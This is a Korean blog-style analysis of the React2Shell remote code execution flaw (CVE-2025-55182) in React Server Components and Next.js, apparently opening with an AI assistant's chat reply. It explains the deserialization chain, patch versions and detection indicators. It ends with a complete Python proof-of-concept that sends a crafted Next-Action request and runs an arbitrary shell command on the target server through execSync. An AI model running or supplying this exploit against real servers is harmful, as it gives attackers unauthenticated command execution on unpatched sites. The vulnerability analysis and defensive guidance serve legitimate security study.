좋아. 이번엔 원문을 베끼지 않고, 대신 핵심 코드 흐름을 축약해서 넣은 기술 분석 보고서 형태로 다시 써볼게.
코드 블록은 이해를 돕기 위한 개념화한 축약 코드고, 설명의 근거는 엔키 글과 React/Next.js 공식 권고를 바탕으로 정리했다. React 팀은 이 취약점을 인증 없는 RCE로 공지했고, RSC를 지원하면 명시적 Server Function 엔드포인트가 없어도 영향받을 수 있다고 밝혔다
React2Shell(CVE-2025-55182) 분석 보고서
1. 개요
CVE-2025-55182, 이른바 React2Shell은 React Server Components(RSC)의 Flight 역직렬화 경로에서 발생하는 원격 코드 실행 취약점이다. 공격자는 악의적인 HTTP 요청만으로 서버 측에서 임의 코드를 실행할 수 있으며, React 공식 블로그와 Next.js 공식 advisory 모두 이를 Critical로 분류했다. React 공식 공지에 따르면 영향을 받는 핵심 패키지는 react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack의 취약 버전이며, Next.js는 App Router를 사용하는 15.x/16.x 계열이 영향을 받는다.
이 취약점의 본질은 단순한 “서버 함수 호출 버그”가 아니다. 더 정확히는:
- Flight 프로토콜이 참조를 해석하는 방식
- 역직렬화 중 경로 탐색이 프로토타입 체인까지 따라가는 점
- Promise/thenable처럼 보이는 내부 Chunk 객체 처리
- Blob 복원 경로가 공격자 제어 데이터와 만나는 점
이 네 가지가 연결되며 RCE 체인이 만들어진다. 엔키 분석 글은 이 흐름을 단계적으로 풀어 설명하고 있다.
2. 기술 배경: 왜 RSC가 공격 표면이 되었나
RSC는 컴포넌트 실행의 일부를 서버에서 처리하고, 그 결과를 클라이언트가 다시 조립하는 구조다. 이때 단순 JSON만으로는 Promise, Blob, Map, FormData 같은 값을 표현하기 어렵기 때문에 React는 Flight 프로토콜이라는 전용 포맷을 사용한다. 엔키 글은 $@, $B, $K, $Q 같은 토큰이 Promise/Blob/FormData/Map 같은 객체를 나타낸다고 정리한다.
문제는 이 포맷이 결국 공격자가 보낸 문자열을 서버가 해석해 객체로 되돌리는 과정이라는 점이다. React 팀도 공식적으로 “클라이언트 요청을 React가 서버 함수 호출 형태로 해석하는 과정”이 취약 지점이라고 설명했다.
3. 근본 원인
3-1. @ 참조가 Chunk 자체를 돌려줌
엔키 분석에서 첫 번째 단서는 parseModelString()의 @ 처리다. "$@0" 같은 값은 Promise/Chunk 참조를 뜻하는데, 구현상 이 분기는 Chunk 객체 자체를 그대로 반환한다. 즉 공격자는 단순 값이 아니라, React 내부에서 쓰는 Chunk Promise에 대한 raw reference를 손에 넣을 수 있다.
아래는 그 핵심을 이해하기 위한 축약 코드다.
// 개념화한 축약 코드
function parseModelString(value, response) {
if (value.startsWith("$@")) {
const id = parseInt(value.slice(2), 16);
return getChunk(response, id); // Promise/Chunk 자체 반환
}
}
여기서 포인트는 “참조를 값으로 바꾸는 것”이 아니라, Chunk 객체 그 자체가 노출된다는 점이다.
3-2. getOutlinedModel()이 프로토타입 체인까지 따라감
두 번째 핵심은 getOutlinedModel()이다. 엔키 글이 인용한 취약한 구현에서는 reference.split(':')로 경로를 나눈 뒤, value = value[path[i]] 형태로 멤버를 계속 따라간다. 문제는 이때 hasOwnProperty류의 검증이 없었다는 점이다. 그래서 __proto__ 같은 경로를 넣으면 프로토타입 체인으로 진입할 수 있다.
이를 이해하기 쉽게 줄이면 대략 이런 형태다.
// 취약 개념을 보여주는 축약 코드
function getOutlinedModel(reference, chunk) {
const path = reference.split(":");
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // own-property 체크 없음
}
return value;
}
이 구조에서는 "$1:__proto__:then" 같은 참조가 가능해지고, 엔키 분석처럼 Chunk가 Promise 계열 객체일 경우 결국 Chunk.prototype까지 닿을 수 있다. 글은 이 점을 두 번째 원인으로 짚는다.
3-3. Chunk.prototype.then이 재진입 발판이 됨
엔키 글은 Chunk.prototype이 Promise.prototype을 기반으로 만들어지고, 자체 then()을 오버라이드하고 있다고 설명한다. 이 then()은 chunk.status에 따라 동작이 갈리며, 특정 상태에서는 initializeModelChunk()를 다시 호출한다.
이를 개념적으로 적으면:
// 개념화한 축약 코드
Chunk.prototype.then = function (resolve, reject) {
const chunk = this;
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk);
break;
// ...
}
// 이후 상태에 따라 resolve/reject 진행
};
즉 공격자가 then 속성을 Chunk.prototype.then으로 연결해 둔 객체를 만들 수 있다면, 단순한 프로토타입 접근에서 끝나지 않고 공격자 통제 데이터로 initializeModelChunk()를 재호출하게 만들 수 있다. 엔키 글은 이 지점을 두 번째 primitive로 정리한다.
4. Blob 경로를 이용한 함수 생성
엔키 분석의 세 번째 핵심은 reviveModel() 내부의 Blob 처리다. 글에 따르면 parseModelString()의 Blob 분기는 대략 다음 구조를 가진다: response._prefix와 id를 붙여 blobKey를 만들고, response._formData.get(blobKey)를 호출해 Blob을 가져온다. 중요한 건 이 response가 공격자 통제 대상이 될 수 있다는 점이다.
이 흐름을 축약하면:
// 개념화한 축약 코드
function reviveBlob(value, response) {
const id = parseInt(value.slice(2), 16);
const blobKey = response._prefix + id;
return response._formData.get(blobKey);
}
엔키 글은 여기서 _formData.get을 적절히 조작하면 constructor.constructor, 즉 Function 생성자 경로를 끌어낼 수 있다고 설명한다. 그리고 _prefix를 함수 본문처럼 사용해 임의 JavaScript 함수 생성까지 연결한다. 이 결과 value가 공격자 함수가 담긴 thenable처럼 구성되고, 다시 Chunk.prototype.then 경로를 타면서 해당 함수가 서버 측에서 실행된다.
이 부분을 개념적으로 요약하면 이렇게 볼 수 있다.
// 개념적 공격 체인 요약
const fakeResponse = {
_prefix: "console.log('pwned');//",
_formData: {
get: Function // 실제론 constructor.constructor 경로
}
};
// reviveBlob -> Function("console.log('pwned');//1") 유사 결과
// 이후 thenable 처리 -> 함수 실행
핵심은 Blob을 실제 파일처럼 다루는 경로가 아니라, “응답 객체의 메서드 호출”로 이어지는 로직이었다는 점이다.
5. 익스플로잇 체인 정리
엔키 글은 최종 체인을 세 개의 primitive로 정리한다.
- Chunk.prototype에 접근
- @ 참조와 __proto__ 경로 탐색을 통해 가능해진다.
- 공격자 통제 initializeModelChunk() 호출
- then을 Chunk.prototype.then으로 연결하고 상태를 적절히 맞추면 재진입이 일어난다.
- 임의 함수 생성 및 실행
- Blob/_formData.get/constructor.constructor 경로를 통해 함수 객체를 만들고, thenable 처리 과정에서 실행시킨다.
이걸 흐름도로 요약하면:
악성 Flight payload
-> @ 참조로 Chunk 확보
-> __proto__ 경유로 Chunk.prototype 접근
-> then = Chunk.prototype.then 연결
-> initializeModelChunk 재진입
-> Blob 처리 경로 악용
-> Function 생성
-> thenable resolve 과정에서 서버 실행
결국 이 취약점은 프로토타입 오염 비슷한 진입점 + 신뢰할 수 없는 데이터 역직렬화 + thenable 실행이 겹친 체인형 RCE라고 보는 게 맞다. Next.js advisory도 약점을 CWE-502 (Deserialization of Untrusted Data) 로 분류한다.
6. Next.js에서 왜 특히 문제였나
Next.js는 React 위에서 동작하므로 upstream 영향을 받는다. Next.js 공식 advisory는 App Router 사용 시 15.x와 16.x 계열이 영향을 받는다고 공지했고, upstream 이슈가 CVE-2025-55182라고 명시했다
엔키 글은 특히 Next-Action 헤더가 붙은 요청이 action handler로 들어가고, 그 내부에서 decodeReplyFromBusboy()가 multipart/form-data를 Flight 응답 객체로 복원하는 경로를 보여준다. 즉 실제 프레임워크 코드에서 공격자 입력이 Chunk/Response 구조로 들어가는 현실적 진입점이 존재한다는 뜻이다.
이를 개념적으로 줄이면:
// 개념화한 축약 코드
if (request.headers["Next-Action"]) {
const args = await decodeReplyFromBusboy(busboy, serverModuleMap, options);
// 이후 React Flight 역직렬화 경로 진입
}
즉 “React 취약점”이지만 실무에서는 Next.js action 경로를 통한 악용이 특히 현실적이었다고 볼 수 있다.
7. 패치 포인트
React 팀은 이 취약점을 2025년 12월 3일 공개하며 즉시 업그레이드를 권고했고, 영향을 받는 React 패키지의 수정 버전으로 19.0.1, 19.1.2, 19.2.1을 제시했다. 또 2026년 1월 26일 업데이트된 안내에서 Next.js 각 릴리스 라인별 최신 패치 버전을 별도로 안내했다
엔키 글이 짚은 패치 핵심은 getOutlinedModel()에서 속성 접근 전 검증을 추가한 것이다. 이를 개념화하면 아래처럼 이해할 수 있다.
// 방어 개념을 보여주는 축약 코드
for (let i = 1; i < path.length; i++) {
if (!Object.prototype.hasOwnProperty.call(value, path[i])) {
throw new Error("invalid reference path");
}
value = value[path[i]];
}
즉 패치의 방향은 “프로토타입 체인까지 따라가는 동적 경로 탐색”을 막는 것이다.
8. 대응 방안
실무 대응 우선순위는 명확하다.
8-1. 업그레이드
React 공식 권고에 따라 취약한 react-server-dom-* 패키지를 안전 버전으로 올려야 한다. Next.js는 안정 릴리스 라인별 최신 패치 버전으로 업그레이드해야 한다. React 공식 문서는 2026년 1월 기준으로 14.x/15.x/16.x에 대한 권장 버전을 따로 제시하고 있다.
8-2. 임시 완화책에만 의존하지 말 것
React 팀은 일부 호스팅 사업자와 함께 임시 완화책을 적용했지만, 거기에 의존하지 말고 반드시 업데이트하라고 했다.
8-3. 탐지 포인트
운영 관점에서 점검할 만한 흔적은 다음과 같다.
- Next-Action 헤더를 포함한 비정상 multipart/form-data
- Flight 토큰($@, $B, __proto__, constructor)이 섞인 입력
- 서버 측 action/Server Function 경로에 대한 이상한 POST 요청
- 패치 전 버전의 react-server-dom-* 패키지 존재 여부
이 부분은 엔키 분석과 Next.js/React 공식 권고를 조합하면 자연스럽게 도출된다.
9. 결론
React2Shell은 단순히 “React에 RCE가 있었다”는 사건이 아니다.
이 취약점이 보여준 진짜 문제는 프론트엔드 프레임워크가 서버 직렬화/역직렬화 책임까지 가져갈 때, 보안 경계가 급격히 복잡해진다는 점이다.
이 이슈는 다음의 조합으로 이해하는 것이 가장 정확하다.
- Flight 참조 해석
- 프로토타입 체인 접근
- Chunk/Promise 내부 동작 재사용
- Blob 복원 경로 오용
- thenable 실행
PoC
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
'Documentation & Blog' 카테고리의 다른 글
| NAS 취약점 분석 (0) | 2025.10.15 |
|---|---|
| 스타링크 역분석을 통한 무선통신 안전 검증 (0) | 2025.10.15 |
| 워드프레스 플러그인 취약점 분석 조사 (0) | 2025.10.15 |